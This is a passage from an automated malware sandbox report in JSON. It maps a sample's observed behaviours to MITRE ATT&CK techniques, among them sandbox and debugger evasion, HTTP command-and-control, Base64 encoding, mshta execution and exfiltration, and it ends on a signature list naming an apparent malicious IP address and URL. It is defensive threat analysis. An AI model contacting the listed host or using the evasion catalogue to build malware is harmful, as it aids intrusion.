token"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Opens a handle to the specified process"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Reads the Equation Editor Class Identifier (CLSID)"},{"type":"informative","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect virtual environment (API)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Makes a code branch decision directly after an API that is environment aware"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Identified known pipe name"},{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to monitor clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Queries list of installed browsers"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Tries to open documents files"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Drops script files in suspicious locations from MS Office documents"},{"type":"informative","value":"Drops a text file that contains suspicious strings (e.g. shell/ActiveX/DOM related)"},{"type":"informative","value":"Able to download payload via Wget"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Calls an API typically used to download the file from the URL"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Attempts to call internet-related API for network communication"},{"type":"informative","value":"Calls an API typically used to communicate with HTTP server"},{"type":"informative","value":"Calls an API typically used to open a HTTP requests"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"malicious","value":"GETs files from a web server (Office documents)"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Contains ability to use Webdav for network"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"suspicious","value":"Command line contains long Base64-encoded string"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Stealth","technique":"Rootkit","attack_id":"T1014","attack_id_wiki":"https://attack.mitre.org/techniques/T1014","identifiers":[{"type":"informative","value":"References device drivers used by rootkit malware"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decode data using Base64"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates a file directly in the root of Roaming root directory"},{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Mshta","attack_id":"T1218.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/005","identifiers":[{"type":"malicious","value":"Detected mshta.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"},{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6af2c9f1dbb0c55a640c31e7"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af2dd0e03e273e0b60a804e"}]}],"sandbox_signatures":[{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"ymx.\" [Source: sample.bin]","origin":"sample.bin","mitre_attack_id":"T1071.003","id":"string-169","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"107.173.143.60\" found in string \"http://107.173.143.60/5fKN0?zb&muqhJ0msHLMI;Ms3